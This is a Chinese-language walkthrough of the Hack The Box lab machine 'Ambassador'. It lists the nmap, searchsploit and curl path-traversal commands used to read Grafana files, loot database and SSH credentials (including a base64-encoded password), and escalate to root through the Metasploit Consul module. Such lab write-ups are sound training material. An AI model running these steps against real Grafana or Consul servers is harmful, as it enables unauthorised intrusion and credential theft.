题目网址:
https://app.hackthebox.com/machines/Ambassador
使用nmap枚举靶机
nmap -sC -sV -p- 10.10.11.183
这次扫描到了四个端口
22
80
3000
3306
这些端口都应该是有用的,先对80端口进行枚举,网址根目录扫描,网站模板枚举
通过这个网站的唯一一篇文章可以知道,有一个developer账户可以去访问ssh
但是进行一系列枚举后,并没有从80端口找到什么突破点,根据nmap的扫描结果来看,3000端口上运行的也是一个网站,我们去3000端口看看
这个网站框架是Grafana,我用searchsploit搜索了一下存在的漏洞
发现可能存在目录遍历和任意文件读取漏洞,我们用这个脚本试试
locate multiple/webapps/50581.py
成功读取到了/etc/passwd的文件内容
现在我们读取Grafana的配置文件,看能不能得到后台密码
https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/
通过查询官方文档,发现Grafana的配置文件地址为
/etc/grafana/grafana.ini
通过配置文件可以发现用户和密码,返回网站登录
登录后,我在后台到处看了一下,没找到什么有用的东西,现在我们把Grafana的库下载到本地看看
curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
在data_source表里发现了登录mysql的用户名和密码,现在我们登录mysql
mysql -h 10.10.11.183 -u grafana -p
在whackywidget数据库里找到了developer用户的密码,根据80端口的网站提示,这个用户可以登录ssh,base64解密后登录ssh
echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
ssh developer@10.10.11.183
成功获得用户shell
通过查看当前文件夹的文件,发现了一个有趣的文件
ls -al
这是Git的配置文件,通过查看这个文件里的内容,可以找到一个位置
/opt/my-app
然后查看以前的提交
git show
我们找到了一个git的令牌,通过google搜索相关的利用,我们可以利用这个api来提权
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec
可以用msfconsole,也可以手动
首先我们把靶机的8500端口转发到本地
ssh -L 8500:0.0.0.0:8500 developer@10.10.11.183
然后运行msfconsole使用exploit/multi/misc/consul_service_exec模块
成功获得root权限